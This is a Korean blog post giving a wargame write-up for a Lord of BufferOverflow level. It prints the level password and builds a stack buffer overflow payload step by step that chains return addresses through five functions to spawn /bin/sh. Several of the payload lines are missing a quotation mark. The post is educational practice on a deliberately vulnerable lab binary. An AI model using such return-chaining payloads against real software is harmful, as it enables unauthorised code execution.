cgy12306
[LOB] zombie_assassin 본문
ID : zombie_assassin
PW : no place to hide
strchr은 해당 문자열에 특정 문자가 있으면 참을 반환한다. 그래서 \x40을 쓰게 되면 종료를 하게 된다.
memcmp는 두 문자열을 비교한다. 해당 소스코드는 4byte만큼 비교해서 같으면 0을 반환하고, 다르면 0이 아닌 값을 반환한다. 즉, 다르면 종료한다. 그 이후 strcpy가 실행된다.
45번째부터 4byte가 &addr과 같아야 한다.
main+88 부분을 보게 되면 %ebp-44에 0x80487ec를 넣는 것을 볼 수 있다. 그 부분을 분석해보자.
Do 함수라는 것을 알 수 있다. 여기까지 생각할 수 있는 것은 A를 44개 넣고 그 뒤에 Do의 주소를 넣어 함수를 호출하면 된다는 것이다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08"'`
welcome to the DO! 까지 출력을 했다.
모든 함수는 시작주소+4에 return address를 넣어 이전 함수로 돌아 가려 한다. 이 부분을 조작해서 다음 함수로 넘어가 보자. GYE 함수를 찾아보자.
DO 함수 바로 윗부분을 디스 어셈블 해보자.
GYE 함수의 시작 주소를 알아 냈다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08"'`
GUL 함수의 주소를 알아보자.
GUL 함수의 주소를 알아냈다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08"'`
YUT의 함수의 주소를 알아내자.
YUT 함수의 주소를 알아 냈다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08"'`
마지막 MO의 함수 주소이다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"'`
하지만 sh 에러가 뜨고, Segmentation fault가 뜬다. 아마 MO 함수에서 인자로 받은 cmd의 주소를 제대로 못잡기 때문인것 같다.
아래처럼 값을 입력하고 core dump를 떠보자.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x84\x9b\x04\x08" + "/bin/sh\x00" + "A"*100'`
0xbffffa44지점 부터는 0으로 초기화 되는 것을 볼 수 있다. 하지만 위에 0x6e69622f 0x0068732f(/bin/sh)로 추정되는 값은 살아 있다.
string으로 확인 해보자.
/bin/sh이 살아 있다.
/bin/sh의 주소는 0xbffff9f8이다.
그러면 MO 함수까지 들어가는 코드를 작성하고 바로 그 뒤에 return address는 dummy로 덮어주고 인자를 /bin/sh이 들어있는 주소를 넣어 주고 그 뒤에 /bin/sh\x00을 넣어주면 된다.
최종 페이로드는 다음과 같다.
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xf8\xf9\xff\xbf" + "/bin/sh\x00"'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] nightmare (0) | 2019.09.30 |
---|---|
[LOB] succubus (0) | 2019.09.30 |
[LOB] assassin (0) | 2019.09.30 |
[LOB] giant (0) | 2019.09.30 |
[LOB] bugbear (0) | 2019.09.30 |
Comments